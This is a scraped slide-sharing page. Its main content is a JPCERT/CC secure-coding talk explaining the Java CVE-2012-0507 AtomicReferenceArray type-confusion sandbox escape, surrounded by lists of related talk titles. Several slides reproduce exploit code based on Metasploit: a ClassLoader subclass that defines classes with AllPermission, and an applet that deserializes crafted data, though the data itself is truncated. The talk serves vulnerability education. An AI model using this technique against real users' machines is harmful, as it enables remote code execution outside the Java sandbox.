いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
いろいろなSSL/TLS設定ガイドライン (JNSA電子署名WG 実世界の暗号・認証技術勉強会資料)
 
Keycloak拡張入門
Keycloak拡張入門Keycloak拡張入門
Keycloak拡張入門
 
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
 
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについてJNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
JNSA電子署名WG勉強会 2013.09.30 jsrsasignとjsjwsについて
 
JavaScript.Next
JavaScript.NextJavaScript.Next
JavaScript.Next
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
JavaOne 2015 報告会 @ 東京 「About MVC 1.0 & JSON-P」
 
Javascript で暗号化
Javascript で暗号化Javascript で暗号化
Javascript で暗号化
 
Keycloak入門
Keycloak入門Keycloak入門
Keycloak入門
 

Destaque

Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
Lessons (to be) Learned from Handling OpenSSL VulnerabilitiesLessons (to be) Learned from Handling OpenSSL Vulnerabilities
Lessons (to be) Learned from Handling OpenSSL VulnerabilitiesJPCERT Coordination Center
 
OWASP ZAP(など)で挑む SECCON
OWASP ZAP(など)で挑む SECCONOWASP ZAP(など)で挑む SECCON
OWASP ZAP(など)で挑む SECCONJun Matsumoto
 
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)JPCERT Coordination Center
 
Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性JPCERT Coordination Center
 
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...JPCERT Coordination Center
 
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)JPCERT Coordination Center
 
自分よりも技術力の高い会社に入社して感じたこと
自分よりも技術力の高い会社に入社して感じたこと自分よりも技術力の高い会社に入社して感じたこと
自分よりも技術力の高い会社に入社して感じたことSuzuki Masayuki
 
Devsumi2015_20E1 エンジニアが知っておきたいお金の話
Devsumi2015_20E1 エンジニアが知っておきたいお金の話Devsumi2015_20E1 エンジニアが知っておきたいお金の話
Devsumi2015_20E1 エンジニアが知っておきたいお金の話Akio Doi
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達zaki4649
 
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hackツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hackteapipin
 
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)Shinichi Hirauchi
 
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開Muneaki Nishimura
 
フーリエ変換と画像圧縮の仕組み
フーリエ変換と画像圧縮の仕組みフーリエ変換と画像圧縮の仕組み
フーリエ変換と画像圧縮の仕組みyuichi takeda
 

Destaque (15)

Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
Lessons (to be) Learned from Handling OpenSSL VulnerabilitiesLessons (to be) Learned from Handling OpenSSL Vulnerabilities
Lessons (to be) Learned from Handling OpenSSL Vulnerabilities
 
OWASP ZAP(など)で挑む SECCON
OWASP ZAP(など)で挑む SECCONOWASP ZAP(など)で挑む SECCON
OWASP ZAP(など)で挑む SECCON
 
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
CERT コーディングスタンダードご紹介 (OSC2017@Osaka)
 
Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性Blojsom におけるクロスサイトスクリプティングの脆弱性
Blojsom におけるクロスサイトスクリプティングの脆弱性
 
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
 
脆弱性情報はこうしてやってくる
脆弱性情報はこうしてやってくる脆弱性情報はこうしてやってくる
脆弱性情報はこうしてやってくる
 
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
OWASP ASVS と Cheat Sheet シリーズ (日本語版) のご紹介 (OSC2016Hokkaido)
 
自分よりも技術力の高い会社に入社して感じたこと
自分よりも技術力の高い会社に入社して感じたこと自分よりも技術力の高い会社に入社して感じたこと
自分よりも技術力の高い会社に入社して感じたこと
 
Devsumi2015_20E1 エンジニアが知っておきたいお金の話
Devsumi2015_20E1 エンジニアが知っておきたいお金の話Devsumi2015_20E1 エンジニアが知っておきたいお金の話
Devsumi2015_20E1 エンジニアが知っておきたいお金の話
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
 
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hackツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
ツイッター調査:約173万ツイートを調査して分かったTwitterの利用動向 #twtr_hack
 
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
世界一簡単なGithub入門(githubは無料で使用する場合、全てのファイルが公開されていることにご注意ください)
 
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
 
Android Secure Coding
Android Secure CodingAndroid Secure Coding
Android Secure Coding
 
フーリエ変換と画像圧縮の仕組み
フーリエ変換と画像圧縮の仕組みフーリエ変換と画像圧縮の仕組み
フーリエ変換と画像圧縮の仕組み
 

Semelhante a JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)

Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義JPCERT Coordination Center
 
使いこなせて安全なLinuxを目指して
使いこなせて安全なLinuxを目指して使いこなせて安全なLinuxを目指して
使いこなせて安全なLinuxを目指してToshiharu Harada, Ph.D
 
分散ストリーム処理フレームワーク Apache S4
分散ストリーム処理フレームワーク Apache S4分散ストリーム処理フレームワーク Apache S4
分散ストリーム処理フレームワーク Apache S4AdvancedTechNight
 
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料OSSラボ株式会社
 
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月VirtualTech Japan Inc.
 
Web applicationpenetrationtest その5
Web applicationpenetrationtest その5Web applicationpenetrationtest その5
Web applicationpenetrationtest その5Tetsuya Hasegawa
 
jjugccc2018 app review postmortem
jjugccc2018 app review postmortemjjugccc2018 app review postmortem
jjugccc2018 app review postmortemtamtam180
 
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
 10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1 10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1kenjis
 
システムテスト自動化標準ガイド 5章発表資料
システムテスト自動化標準ガイド 5章発表資料システムテスト自動化標準ガイド 5章発表資料
システムテスト自動化標準ガイド 5章発表資料Masatoshi Itoh
 
Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策Yurika Kakiuchi
 
JavaのGenericsとは?
JavaのGenericsとは?JavaのGenericsとは?
JavaのGenericsとは?Kenji Nakamura
 
コンテナイメージの脆弱性スキャンについて
コンテナイメージの脆弱性スキャンについてコンテナイメージの脆弱性スキャンについて
コンテナイメージの脆弱性スキャンについてYASUKAZU NAGATOMI
 
Javaセキュアコーディングセミナー東京第3回講義
Javaセキュアコーディングセミナー東京第3回講義Javaセキュアコーディングセミナー東京第3回講義
Javaセキュアコーディングセミナー東京第3回講義JPCERT Coordination Center
 
Metasploitでペネトレーションテスト
MetasploitでペネトレーションテストMetasploitでペネトレーションテスト
Metasploitでペネトレーションテストsuper_a1ice
 
Statically detecting vulnerability under memory pressure using exhaustive search
Statically detecting vulnerability under memory pressure usingexhaustive searchStatically detecting vulnerability under memory pressure usingexhaustive search
Statically detecting vulnerability under memory pressure using exhaustive searchRuo Ando
 
20181219 Introduction of Incident Response in AWS for Beginers
20181219 Introduction of Incident Response in AWS for Beginers20181219 Introduction of Incident Response in AWS for Beginers
20181219 Introduction of Incident Response in AWS for BeginersTyphon 666
 
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_でCld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_でTech Summit 2016
 
Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010stomita
 

Semelhante a JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion) (20)

Datomic&datalog紹介
Datomic&datalog紹介Datomic&datalog紹介
Datomic&datalog紹介
 
Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義Javaセキュアコーディングセミナー東京第1回 講義
Javaセキュアコーディングセミナー東京第1回 講義
 
使いこなせて安全なLinuxを目指して
使いこなせて安全なLinuxを目指して使いこなせて安全なLinuxを目指して
使いこなせて安全なLinuxを目指して
 
分散ストリーム処理フレームワーク Apache S4
分散ストリーム処理フレームワーク Apache S4分散ストリーム処理フレームワーク Apache S4
分散ストリーム処理フレームワーク Apache S4
 
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
[日本仮想化技術] 2014/6/5 OpenStack最新情報セミナー資料
 
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
OSSラボ様講演 OpenStack最新情報セミナー 2014年6月
 
141030ceph
141030ceph141030ceph
141030ceph
 
Web applicationpenetrationtest その5
Web applicationpenetrationtest その5Web applicationpenetrationtest その5
Web applicationpenetrationtest その5
 
jjugccc2018 app review postmortem
jjugccc2018 app review postmortemjjugccc2018 app review postmortem
jjugccc2018 app review postmortem
 
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
 10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1 10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
10分でわかるFuelPHP @ 2013/04 FuelPHP入門ハンズオン vol.1
 
システムテスト自動化標準ガイド 5章発表資料
システムテスト自動化標準ガイド 5章発表資料システムテスト自動化標準ガイド 5章発表資料
システムテスト自動化標準ガイド 5章発表資料
 
Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策
 
JavaのGenericsとは?
JavaのGenericsとは?JavaのGenericsとは?
JavaのGenericsとは?
 
コンテナイメージの脆弱性スキャンについて
コンテナイメージの脆弱性スキャンについてコンテナイメージの脆弱性スキャンについて
コンテナイメージの脆弱性スキャンについて
 
Javaセキュアコーディングセミナー東京第3回講義
Javaセキュアコーディングセミナー東京第3回講義Javaセキュアコーディングセミナー東京第3回講義
Javaセキュアコーディングセミナー東京第3回講義
 
Metasploitでペネトレーションテスト
MetasploitでペネトレーションテストMetasploitでペネトレーションテスト
Metasploitでペネトレーションテスト
 
Statically detecting vulnerability under memory pressure using exhaustive search
Statically detecting vulnerability under memory pressure usingexhaustive searchStatically detecting vulnerability under memory pressure usingexhaustive search
Statically detecting vulnerability under memory pressure using exhaustive search
 
20181219 Introduction of Incident Response in AWS for Beginers
20181219 Introduction of Incident Response in AWS for Beginers20181219 Introduction of Incident Response in AWS for Beginers
20181219 Introduction of Incident Response in AWS for Beginers
 
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_でCld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
Cld011 windows server_2016_hyper-v_と_virtual_machine_manager_2016_で
 
Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010Apexコアデベロッパーセミナー(Apexコード)071010
Apexコアデベロッパーセミナー(Apexコード)071010
 

Mais de JPCERT Coordination Center

いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~JPCERT Coordination Center
 
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)JPCERT Coordination Center
 
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』JPCERT Coordination Center
 
ソフトウェアセキュリティ保証成熟度モデル
ソフトウェアセキュリティ保証成熟度モデルソフトウェアセキュリティ保証成熟度モデル
ソフトウェアセキュリティ保証成熟度モデルJPCERT Coordination Center
 
Javaセキュアコーディングセミナー東京第2回演習の解説
Javaセキュアコーディングセミナー東京第2回演習の解説Javaセキュアコーディングセミナー東京第2回演習の解説
Javaセキュアコーディングセミナー東京第2回演習の解説JPCERT Coordination Center
 
Javaセキュアコーディングセミナー東京第4回演習の解説
Javaセキュアコーディングセミナー東京第4回演習の解説Javaセキュアコーディングセミナー東京第4回演習の解説
Javaセキュアコーディングセミナー東京第4回演習の解説JPCERT Coordination Center
 
Javaセキュアコーディングセミナー東京第4回講義
Javaセキュアコーディングセミナー東京第4回講義Javaセキュアコーディングセミナー東京第4回講義
Javaセキュアコーディングセミナー東京第4回講義JPCERT Coordination Center
 
Javaセキュアコーディングセミナー東京第3回演習
Javaセキュアコーディングセミナー東京第3回演習Javaセキュアコーディングセミナー東京第3回演習
Javaセキュアコーディングセミナー東京第3回演習JPCERT Coordination Center
 

Mais de JPCERT Coordination Center (9)

いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
いま改めて製品開発者の脆弱性対応について考える ~情報セキュリティ早期警戒パートナーシップを運用する調整機関の視点から~
 
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
 
DLL読み込みの問題を読み解く
DLL読み込みの問題を読み解くDLL読み込みの問題を読み解く
DLL読み込みの問題を読み解く
 
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
WordBench東京 7月勉強会「夏のLT大会!」『WordPress とバックアップの話』
 
ソフトウェアセキュリティ保証成熟度モデル
ソフトウェアセキュリティ保証成熟度モデルソフトウェアセキュリティ保証成熟度モデル
ソフトウェアセキュリティ保証成熟度モデル
 
Javaセキュアコーディングセミナー東京第2回演習の解説
Javaセキュアコーディングセミナー東京第2回演習の解説Javaセキュアコーディングセミナー東京第2回演習の解説
Javaセキュアコーディングセミナー東京第2回演習の解説
 
Javaセキュアコーディングセミナー東京第4回演習の解説
Javaセキュアコーディングセミナー東京第4回演習の解説Javaセキュアコーディングセミナー東京第4回演習の解説
Javaセキュアコーディングセミナー東京第4回演習の解説
 
Javaセキュアコーディングセミナー東京第4回講義
Javaセキュアコーディングセミナー東京第4回講義Javaセキュアコーディングセミナー東京第4回講義
Javaセキュアコーディングセミナー東京第4回講義
 
Javaセキュアコーディングセミナー東京第3回演習
Javaセキュアコーディングセミナー東京第3回演習Javaセキュアコーディングセミナー東京第3回演習
Javaセキュアコーディングセミナー東京第3回演習
 

JRE標準ライブラリの脆弱性事例を理解する (AtomicReferenceArrayクラス と Type Confusion)

  • 1. Oracle Java 標準ライブラリ AtomicReferenceArray クラスにおける デシリアライズに関する脆弱性 (CVE-2012-0507) 2014年年5⽉月18⽇日(⽇日) JPCERT/CC 情報流流通対策グループ ⼾戸⽥田  洋三  (yozo.toda@jpcert.or.jp) 1 JJUG CCC 2014 Spring
  • 2. Copyright©2014 JPCERT/CC All rights reserved. 自己紹介 http://www.tomo.gr.jp/root/e9706.html JPCERT/CC 情報流流通対策グループ  解析チーム リードアナリスト    ⼾戸⽥田  洋三 脆弱性情報分析, セキュアコー ディング普及啓発活動…… に努 めてます 2
  • 3. Copyright©2014 JPCERT/CC All rights reserved. JPCERT/CCとは JPCERT  Coordination  Center ⽇日本における情報セキュリ ティ対策活動の向上に取り組 んでいる組織 3
  • 4. Copyright©2014 JPCERT/CC All rights reserved. JPCERT/CCの主な活動 4
  • 5. Copyright©2014 JPCERT/CC All rights reserved.5 セキュアコーディングの普及啓発には… !  具体的な事例例紹介が有効 ̶— コーディングルールの根拠 ̶— 被害につながることを実感 ̶— 攻撃者の視点に興味を持つ より多くのJavaアプリの脆弱性事例例と、 そこから得られる教訓を紹介する
  • 6. Copyright©2014 JPCERT/CC All rights reserved.6 事例例解説資料料使ってね
  • 7. Copyright©2014 JPCERT/CC All rights reserved.7 では本編です…
  • 8. Copyright©2014 JPCERT/CC All rights reserved. 本⽇日のテーマ 8 JRE標準ライブラリの脆弱性事例例を 理理解する (AtomicReferenceArrayクラス  と  Type Confusion) (CVE-2012-0507)
  • 9. Copyright©2014 JPCERT/CC All rights reserved. CVE-2012-0507 概要 •  AtomicReferenceArray クラスはシリアライズ可能なク ラスとして定義されている。しかし、シリアライズデー タの復復元時に適切切な検証を⾏行行っていなかった。 •  細⼯工したシリアライズデータを復復元させることにより、 ClassLoader クラスのサブクラスのインスタンスを⽣生成 させることができ、サンドボックス内で実⾏行行されている   applet から任意のクラスやそのインスタンスを⽣生成して サンドボックスの外で実⾏行行させることが可能になってし まっていた。 9
  • 10. Copyright©2014 JPCERT/CC All rights reserved. Exploit デモ 10 http://pentestlab.wordpress.com/2012/03/30/java-exploit- attack-cve-2012-0507/ などが参考になります… ごめんなさい. 環境の準備が間に合いませんでした.
  • 11. Copyright©2014 JPCERT/CC All rights reserved. Java  Applet  を使った攻撃 11 攻撃者サーバ 細⼯工された applet利利⽤用者 l Applet から、サンドボックスの制限を越えて任意のコ マンドを実⾏行行される ²  例例: Runtime::exec メソッドを使ってOSコマンドを実⾏行行可能 l 利利⽤用者の端末を乗っ取られる可能性がある。 • アプレットはサーバ(信頼境界の外側)からやってくる 信頼できないコード • PC上のファイル改ざんや情報漏漏えいの危険がある
  • 12. Copyright©2014 JPCERT/CC All rights reserved. 攻撃者の視点… 12 Webブラウザ上で実⾏行行されるappletから   ClassLoader を使ってアクセス権限に制限のつか ない状態のクラスを⽣生成したい (java コードを実⾏行行したい)…
  • 13. Copyright©2014 JPCERT/CC All rights reserved. ClassLoader  と  defineClass メソッド 13 protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) •  name ----  クラスのバイナリ名 •  b ---- クラスデータを構成する  byte データ •  off ---- クラスデータ中の  b の先頭位置 •  len ---- クラスデータの⻑⾧長さ •  protectionDomain ---- このクラスの  ProtectionDomain ! ClassLoader クラスの  defineClass メソッドを使うと 新たなクラスを定義できる.
  • 14. Copyright©2014 JPCERT/CC All rights reserved.14 class Help extends ClassLoader {                     :   ByteArrayOutputStream bos = new ByteArrayOutputStream();   byte[] buffer = new byte[8192];                     :   buffer = bos.toByteArray();   URL url = new URL( "file:///" );   Certificate[] certs = new Certificate[0];   Permissions perm = new Permissions();   perm.add( new AllPermission() );   ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );   cls = defineClass(className, buffer, 0, buffer.length, pd );   Class class_cls = cls.getClass();                     : } defineClass メソッドの使⽤用例例
  • 15. Copyright©2014 JPCERT/CC All rights reserved.15 class Help extends ClassLoader {                     :   ByteArrayOutputStream bos = new ByteArrayOutputStream();   byte[] buffer = new byte[8192];                     :   buffer = bos.toByteArray();   URL url = new URL( "file:///" );   Certificate[] certs = new Certificate[0];   Permissions perm = new Permissions();   perm.add( new AllPermission() );   ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );   cls = defineClass(className, buffer, 0, buffer.length, pd );   Class class_cls = cls.getClass();                     : } コード位置. “file:///” は全てのローカルファ イルを意味する. システムリソースへのアクセス権. “AllPermission()” は全てのアクセ ス権の許可を意味する (読み取り, 書き込み, 実⾏行行) defineClass メソッドの使⽤用例例 定義されるクラスは全てのローカルファイ ルに対して全てのアクセス権が許可される (読み取り, 書き込み, 実⾏行行) クラスデータを構成するバイトデータ
  • 16. Copyright©2014 JPCERT/CC All rights reserved. ! ClassLoader は抽象クラス — “new” でインスタンスを⽣生成できない ! defineClass は  protected メソッド — クラス外部から呼び出すことはできない 16 defineClass メソッドを使いたい… 攻撃に使うにはClassLoader の サブクラスが必要…
  • 17. Copyright©2014 JPCERT/CC All rights reserved. ! ClassLoader のインスタンスを作りたい ClassLoader cl = new ClassLoader(); ClassLoader は抽象クラスなので   new することはできない 17 Designing Malicious Applets(1) !   既に存在する  ClassLoader のインスタンスをゲットする ClassLoader cl = getClass().getClassLoader(); prohibited allowed しかし… defineClass は  protected メソッドなので クラス外部から呼び出すことはできない なんとか  ClassLoader のサブクラスを ⽤用意できないか?
  • 18. Copyright©2014 JPCERT/CC All rights reserved. ! ClassLoader のサブクラスを定義してインスタンスを作ったら? 18 public class Help extends ClassLoader() { ... } Help ahelp = new Help(); Runtime Exception サンドボックス内では 制限されている ClassLoader のインスタンス⾃自⾝身をサブクラスのイン スタンスとして扱えないか? ! ClassLoader のインスタンスをサブクラスのフィールド に代⼊入? Help ahelp = (Help)getClass().getClassLoader(); このような代⼊入操作は⾔言語仕 様上禁⽌止されている Designing Malicious Applets(2) prohibited Runtime Exception
  • 19. Copyright©2014 JPCERT/CC All rights reserved. Type Confusion Vulnerability 19 Help ahelp = (Help)getClass().getClassLoader(); Type confusion の脆弱性により、⾔言語レベルで禁⽌止 されていたはずの代⼊入操作を⾏行行うことができる! 通常、サブクラスへの代⼊入 は型システムによって禁⽌止 されている atomicreferencearray.set(0, classloader); AtomicReferenceArray クラスには  type confusion の脆弱 性が存在し、set メソッドによって本来禁⽌止されているはず の代⼊入操作を⾏行行うことが可能になってしまっている
  • 20. Copyright©2014 JPCERT/CC All rights reserved. AtomicReferenceArray クラス ! java.util.concurrent.atomic パッケージに収められてい る !   「要素を原⼦子的に更更新可能なオブジェクト参照の配列列で す。」(Java SE API リファレンスより) !   シリアライズ可能 !   独⾃自の  readObject メソッドは持っていない 20
  • 21. Copyright©2014 JPCERT/CC All rights reserved. AtomicReferenceArray のソースコード 21 import sun.misc.Unsafe;                        : public class AtomicReferenceArray<E> implements java.io.Serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); : private final Object[] array; : private long checkedByteOffset(int i) { return (…calculating offset and boundary check …); } : public final void set(int i, E newValue) { unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue); } AtomicReferenceArray.java set メソッドで使われるオフ セットを計算 array に  newValue を書き込む シリアライズ可能なクラス
  • 22. Copyright©2014 JPCERT/CC All rights reserved. AtomicReferenceArray のソースコード 22 import sun.misc.Unsafe;                        : public class AtomicReferenceArray<E> implements java.io.Serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); : private final Object[] array; : private long checkedByteOffset(int i) { return (…calculating offset and boundary check …); } : public final void set(int i, E newValue) { unsafe.putObjectVolatile(array, checkedByteOffset(i), newValue); } AtomicReferenceArray.java set メソッドで使われるオフ セットを計算 array に  newValue を書き込む シリアライズ可能なクラス unsafe.putObjectVolatile(Object o, long offset, Object x) 引数の型が適切切なものであることをチェックせずに x の値を  o  に書き込む.
  • 23. Copyright©2014 JPCERT/CC All rights reserved. http://www.rapid7.com/db/modules/exploit/multi/browser/java_atomicreferencearray 23 l Exploit class (Appletのサブクラス) Exploit code l AtomicReferenceArray クラス         l Unsafe クラス (AtomicReferenceArray classから 呼び出される) JRE標準API l Help class (ClassLoaderのサブクラス) Exploit Code for CVE-2012-0507 Metasploit のモジュールにある攻撃コードをベースに説 明します。
  • 24. Copyright©2014 JPCERT/CC All rights reserved.24 public class Exploit extends Applet {      :   public static byte[] StringToBytes(String s) { return (converts s to byte data); }   public void init() {     String as[] = {           “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (16進表記されたシリアライズデータ…)     };     StringBuilder stringbuilder = new StringBuilder();     for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);     ObjectInputStream objectinputstream =         new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));     Object aobj[] = (Object[])objectinputstream.readObject();     Help ahelp[] = (Help[])aobj[0];     AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];     ClassLoader classloader = getClass().getClassLoader();     atomicreferencearray.set(0, classloader);     Help _tmp = ahelp[0]; :     Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507
